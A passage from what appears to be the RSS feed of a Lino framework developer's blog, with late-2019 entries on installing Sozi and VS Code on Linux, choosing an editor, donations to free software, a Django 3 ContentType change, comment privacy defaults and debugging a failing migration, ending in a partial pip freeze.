&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;.../&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;structures&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ne"&gt;ResourceWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;unclosed&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;family&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;AddressFamily&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_UNIX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2049&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raddr&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1202.html</guid><pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, December 1, 2019</title><link>https://luc.lino-framework.org/blog/2019/1201.html</link><description>&lt;section id="sunday-december-1-2019"&gt;
&lt;h1&gt;Sunday, December 1, 2019&lt;a class="headerlink" href="#sunday-december-1-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Mari wanted to re-work on a presentation she realized last year using sozi, an
extension for Inkscape.&lt;/p&gt;
&lt;p&gt;I tried:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get install sozi
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In Inkscape I now have &lt;span class="menuselection"&gt;Extensions ‣ Sozi&lt;/span&gt;.  But launching it
causes error messages. The first error was something about Canberra not being
loaded, it went away after doing (thanks to &lt;a class="reference external" href="https://askubuntu.com/questions/342202/failed-to-load-module-canberra-gtk-module-but-already-installed"&gt;askubuntu.com&lt;/a&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install libcanberra-gtk-module libcanberra-gtk3-module
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The next one didn’t yet go away:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;sozi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pygtk&lt;/span&gt;
&lt;span class="ne"&gt;ModuleNotFoundError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="n"&gt;named&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pygtk&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I intuitively tried:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get install python-gtk2-dev
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That didn’t help.&lt;/p&gt;
&lt;p&gt;After reading &lt;a class="reference external" href="https://github.com/senshu/Sozi/issues/291"&gt;this issue&lt;/a&gt; I guess
that Sozi (or Inkscape) has problems on machines with more than one Python
installation. Needs more investigation.&lt;/p&gt;
&lt;p&gt;Meanwhile Mari had told me that she will rather use a Windows computer at school
tomorrow where she can use prezi.com…&lt;/p&gt;
&lt;p&gt;The author of sozi is Guillaume Savaton who writes “Sozi is a personal project
that I develop in my spare time with the occasional help of several other
developers and a lot of translators. I develop Sozi for my own use, and I share
it with you for free in the hope that you will find it useful. For this reason,
the development of Sozi does not follow a well-defined roadmap and I tend to
focus on developing features that I will actually use.” (&lt;a class="reference external" href="https://sozi.baierouge.fr/community/d/88-funding-the-development-of-new-features-for-sozi"&gt;baierouge.fr&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Guillaume accepts donations using  &lt;a class="reference external" href="https://sozi.baierouge.fr/pages/70-donate.html"&gt;different systems&lt;/a&gt;, one of them is
&lt;a class="reference external" href="https://liberapay.com/"&gt;Liberapay&lt;/a&gt;, driven by a&lt;/p&gt;
&lt;p&gt;GitHub also started a donations system, which is currently in beta. The Sphinx
project’s maintainer Takeshi KOMIYA invited us to donate. I wonder how he will
receive that money, and how much does GitHub get for their service? I searched
&lt;a class="reference external" href="https://help.github.com/en/github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-contributors"&gt;their docs&lt;/a&gt;
but did not get any answer.&lt;/p&gt;
&lt;p&gt;Offering a service and deliberately not explaining how it is being financed…
such behaviour triggers allergic reaction to me…&lt;/p&gt;
&lt;p&gt;Donation networks seem to be a great solution for carrying the maintenance of
free software projects.  But they must be transparent and decentralized,
otherwise you drive out devils replacing them with Beelzebub. And maybe they are
unefficient. Because there are hundreds of FOSS projects that deserve some of my
money.  A whole budgeting system! Do you imagine me managing this?&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1201.html</guid><pubDate>Sun, 01 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, November 30, 2019</title><link>https://luc.lino-framework.org/blog/2019/1130.html</link><description>&lt;section id="saturday-november-30-2019"&gt;
&lt;h1&gt;Saturday, November 30, 2019&lt;a class="headerlink" href="#saturday-november-30-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="which-editor-to-use"&gt;
&lt;h2&gt;Which editor to use?&lt;a class="headerlink" href="#which-editor-to-use" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We started discussing about which editor to use.
We are currently using PyCharm, VsCode, and Atom.
Each team member uses a different editor!
Isn’t that a nice example to show how complex the question is?&lt;/p&gt;
&lt;p&gt;Tonis uses PyCharm, but needs syntax highlighting also for js and css.  That’s
not included in the community version.  They want some 90$ per year per
developer for a “pro” license. But we should then also make some donation of at
least the same amount to Python and Django. Until now we didn’t support them
because I believe that we aren’t yet making so much money. It would be unfair to
pay to those who are not nice while we leave PSF and DSF without support because
they are nice.&lt;/p&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://www.reddit.com/r/programming/comments/e3g2v4/atom_still_spies_on_the_user_even_prior_to/?utm_medium=android_app&amp;amp;utm_source=share"&gt;Atom still spies on the user even prior to consent request&lt;/a&gt;
on reddit. Oho, I didn’t know that Atom belongs to the Microsoft imperium. I
thought it was rather Google.&lt;/p&gt;
&lt;p&gt;I rediscovered Geany. They at least are small, and they are carried by a
non-profit organization. Lino should learn from (get inspired by) they
&lt;a class="reference external" href="https://www.geany.org/contribute/"&gt;Contribute&lt;/a&gt; page.  Simply &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;apt&lt;/span&gt;
&lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;geany&lt;/span&gt;&lt;/code&gt;. But oh no, geany doesn’t even have a fuzzy file opener. I can’t
imagine working without that anymore.&lt;/p&gt;
&lt;p&gt;I can now installed VsCode as explained on &lt;a class="reference external" href="https://code.visualstudio.com/docs/setup/linux"&gt;visualstudio.com&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor &amp;gt; packages.microsoft.gpg
$ sudo install -o root -g root -m 644 packages.microsoft.gpg /usr/share/keyrings/
$ sudo sh -c &amp;#39;echo &amp;quot;deb [arch=amd64 signed-by=/usr/share/keyrings/packages.microsoft.gpg] https://packages.microsoft.com/repos/vscode stable main&amp;quot; &amp;gt; /etc/apt/sources.list.d/vscode.list&amp;#39;
$ sudo apt-get update
$ sudo apt-get install code
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Launch it by saying &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;code&lt;/span&gt;&lt;/code&gt;. That was easy.  They did good work.&lt;/p&gt;
&lt;p&gt;But I will ask Hamza to assist me for configuring it.
En attendant I will remain with Atom.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1130.html</guid><pubDate>Sat, 30 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Friday, November 29, 2019</title><link>https://luc.lino-framework.org/blog/2019/1129.html</link><description>&lt;section id="friday-november-29-2019"&gt;
&lt;h1&gt;Friday, November 29, 2019&lt;a class="headerlink" href="#friday-november-29-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="contenttype-str-has-changed"&gt;
&lt;h2&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ContentType.__str__()&lt;/span&gt;&lt;/code&gt; has changed&lt;a class="headerlink" href="#contenttype-str-has-changed" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://travis-ci.org/lino-framework/book/jobs/618312859"&gt;Build 618312859&lt;/a&gt; shows the next
(and maybe last) problem with Django 3: the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__str__()&lt;/span&gt;&lt;/code&gt; method of
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;contenttypes.ContentType&lt;/span&gt;&lt;/code&gt; now includes the plugin name.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;ct&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contenttypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContentType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_for_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;ct&lt;/span&gt;  &lt;span class="c1"&gt;# in Django 2:&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;ContentType: Person&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;ct&lt;/span&gt;  &lt;span class="c1"&gt;# in Django 3:&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;ContentType: contacts | Person&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The change makes sense because it was sometimes disturbing to not have this
information.  But it causes a few test cases to break.   To “fix” this
temporarily, I do a live patch in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.contenttypes&lt;/span&gt;&lt;/code&gt; to restore the
Django 2 behaviour:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;VERSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;old__ct_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
    &lt;span class="n"&gt;ContentType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__str__&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;old__ct_str&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Commit &lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/commit/f87f4c1ce564aca41b02a0f8889a00ff828480c6"&gt;28480c6&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="the-new-private-field-of-a-comment"&gt;
&lt;h2&gt;The new &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;private&lt;/span&gt;&lt;/code&gt; field of a comment&lt;a class="headerlink" href="#the-new-private-field-of-a-comment" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3313"&gt;#3313&lt;/a&gt; there is at least one more thing to consider: what happens
when migrating existing comments to the new version with a
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Comment.private&lt;/span&gt;&lt;/code&gt; field?  Answer: they will get the
default value defined in &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Plugin.private_default&lt;/span&gt;&lt;/code&gt;.
Which is &lt;cite&gt;True&lt;/cite&gt;.  So all existing comments will be private.   Do we want this?
Actually comments on public tickets should be public, shouldn’t they?  OTOH it
makes sense to say that existing comments are private because the author didn’t
say explicitly they are public.&lt;/p&gt;
&lt;p&gt;Do we need some kind of confirmation when submitting a comment that’s not
private?  Probably not. But here is one code change:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;To make the privacy more “transparent”, I added the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Comment.private&lt;/span&gt;&lt;/code&gt; field to the detail and insert
layouts. Which changes the implementation for applying the default privacy
when inserting comments:  We cannot do this in
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/create.html#lino.core.model.Model.after_ui_create" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.model.Model.after_ui_create()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; any more because we want to know
the value &lt;em&gt;before&lt;/em&gt; the instance is created. We must use either
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.dbtables.html#lino.core.dbtables.Table.create_instance" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.dbtables.Table.create_instance()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; or
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/create.html#lino.core.model.Model.on_create" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.model.Model.on_create()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other thoughts (for later):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;don’t we actually need 3 “privacy” settings: “private”,
“public” and “group”? IOW instead of having a checkbox we would have a combobox
and a choicelist…&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Should we throw away comments.CommentType?&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Oops, &lt;a class="reference external" href="https://travis-ci.org/lino-framework/book/jobs/618503126"&gt;this build&lt;/a&gt;
shows that I forgot to think about the demo fixtures.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="operationalerror-no-such-table-django-content-type"&gt;
&lt;h2&gt;OperationalError: no such table: django_content_type&lt;a class="headerlink" href="#operationalerror-no-such-table-django-content-type" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hamza and I are observing &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3363"&gt;#3363&lt;/a&gt; which I observed already 10 days ago
(&lt;a class="reference internal" href="1119.html"&gt;&lt;span class="doc"&gt;Tuesday, November 19, 2019&lt;/span&gt;&lt;/a&gt;) in &lt;a class="reference external" href="https://travis-ci.org/lino-framework/book/jobs/618503126"&gt;amici&lt;/a&gt; on travis.  The
&lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-prep" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command fails with &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;django.db.utils.OperationalError:&lt;/span&gt;
&lt;span class="pre"&gt;no&lt;/span&gt; &lt;span class="pre"&gt;such&lt;/span&gt; &lt;span class="pre"&gt;table:&lt;/span&gt; &lt;span class="pre"&gt;django_content_type&lt;/span&gt;&lt;/code&gt; during the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in the
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_amici.projects.herman&lt;/span&gt;&lt;/code&gt; demo project. Hamza has it on his machine as
well. I don’t.  He also has it in team and tera1. Travis not.&lt;/p&gt;
&lt;p&gt;When it fails:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Synchronizing&lt;/span&gt; &lt;span class="n"&gt;apps&lt;/span&gt; &lt;span class="n"&gt;without&lt;/span&gt; &lt;span class="n"&gt;migrations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;deferred&lt;/span&gt; &lt;span class="n"&gt;SQL&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When it doesn’t fail:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Synchronizing&lt;/span&gt; &lt;span class="n"&gt;apps&lt;/span&gt; &lt;span class="n"&gt;without&lt;/span&gt; &lt;span class="n"&gt;migrations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;deferred&lt;/span&gt; &lt;span class="n"&gt;SQL&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;migrations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;Applying&lt;/span&gt; &lt;span class="n"&gt;contenttypes&lt;/span&gt;&lt;span class="mf"&gt;.0001&lt;/span&gt;&lt;span class="n"&gt;_initial&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;OK&lt;/span&gt;
  &lt;span class="n"&gt;Applying&lt;/span&gt; &lt;span class="n"&gt;contenttypes&lt;/span&gt;&lt;span class="mf"&gt;.0002&lt;/span&gt;&lt;span class="n"&gt;_remove_content_type_name&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;OK&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I tried with Python 3.7 instead of 3.6:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;virtualenv&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt; &lt;span class="n"&gt;py37&lt;/span&gt;
&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt;
&lt;span class="n"&gt;go&lt;/span&gt; &lt;span class="n"&gt;book&lt;/span&gt;
&lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="n"&gt;requirements&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;go&lt;/span&gt; &lt;span class="n"&gt;team&lt;/span&gt;
&lt;span class="n"&gt;pm&lt;/span&gt; &lt;span class="n"&gt;prep&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;No change. Still no problem on my machine.&lt;/p&gt;
&lt;p&gt;I tried with Django 3.0rc1 and Django 2.2.7.  No change.&lt;/p&gt;
&lt;p&gt;Very strange.  I give up here because Hamza can at least reproduce it locally,
so he has more chances to find it.&lt;/p&gt;
&lt;p&gt;Hamza, here is my pip freeze:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;alabaster&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.7.12&lt;/span&gt;
&lt;span class="n"&gt;appy&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.99&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dev0&lt;/span&gt;
&lt;span class="n"&gt;argh&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.26.2&lt;/span&gt;
&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.1.0&lt;/span&gt;
&lt;span class="n"&gt;asgiref&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.2.3&lt;/span&gt;
&lt;span class="n"&gt;atelier&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.1.23&lt;/span&gt;
&lt;span class="n"&gt;Babel&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.7.0&lt;/span&gt;
&lt;span class="n"&gt;beautifulsoup4&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;4.8.1&lt;/span&gt;
&lt;span class="n"&gt;bleach&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.1.0&lt;/span&gt;
&lt;span class="n"&gt;BTrees&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;4.6.1&lt;/span&gt;
&lt;span class="n"&gt;cairocffi&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.1.0&lt;/span&gt;
&lt;span class="n"&gt;CairoSVG&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.4.2&lt;/span&gt;
&lt;span class="n"&gt;certifi&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2019.11.28&lt;/span&gt;
&lt;span class="n"&gt;cffi&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.13.2&lt;/span&gt;
&lt;span class="n"&gt;chardet&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.0.4&lt;/span&gt;
